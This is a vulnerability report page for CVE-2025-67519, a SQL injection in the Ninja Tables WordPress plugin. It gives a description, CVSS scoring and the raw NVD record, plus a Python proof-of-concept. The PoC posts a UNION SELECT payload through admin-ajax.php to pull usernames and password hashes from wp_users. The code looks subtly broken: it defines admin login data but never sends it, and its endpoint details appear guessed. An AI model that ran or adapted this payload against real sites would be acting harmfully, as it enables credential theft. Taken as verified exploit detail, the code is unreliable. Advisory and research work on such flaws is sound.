Security Vulnerability Report
中文
CVE-2025-67519 CVSS 7.6 HIGH

CVE-2025-67519

Published: 2025-12-09 16:18:25
Last Modified: 2026-04-27 18:16:40

Description

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Shahjahan Jewel Ninja Tables ninja-tables allows SQL Injection.This issue affects Ninja Tables: from n/a through <= 5.2.3.

CVSS Details

CVSS Score
7.6
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:L

Configurations (Affected Products)

No configuration data available.

Ninja Tables (ninja-tables) <= 5.2.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-67519 PoC - Ninja Tables SQL Injection # Target: WordPress site with Ninja Tables plugin <= 5.2.3 target_url = "http://target-site.com" wp_admin_url = f"{target_url}/wp-admin/admin-ajax.php" # Step 1: Authenticate as admin user session = requests.Session() login_data = { 'log': 'admin_username', 'pwd': 'admin_password', 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } # Note: This PoC requires valid admin credentials # The SQL injection occurs in the table_id parameter # Step 2: Exploit SQL Injection # Malicious payload to extract user data via UNION injection sql_payload = "1 UNION SELECT NULL,NULL,user_login,user_pass,NULL,NULL,NULL,NULL FROM wp_users--" exploit_data = { 'action': 'ninja_tables_get_table_data', 'table_id': sql_payload, 'target_view': 'all' } print("[*] Sending malicious request...") response = session.post(wp_admin_url, data=exploit_data) if response.status_code == 200: print("[+] Request sent successfully") print("[*] Response:", response.text[:500]) print("[*] Check response for extracted database data") else: print("[-] Exploitation failed") sys.exit(1)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67519", "sourceIdentifier": "[email protected]", "published": "2025-12-09T16:18:25.270", "lastModified": "2026-04-27T18:16:40.437", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Shahjahan Jewel Ninja Tables ninja-tables allows SQL Injection.This issue affects Ninja Tables: from n/a through <= 5.2.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:L", "baseScore": 7.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/ninja-tables/vulnerability/wordpress-ninja-tables-plugin-5-2-3-sql-injection-vulnerability?_s_id=cve", "source": "[email protected]"}]}}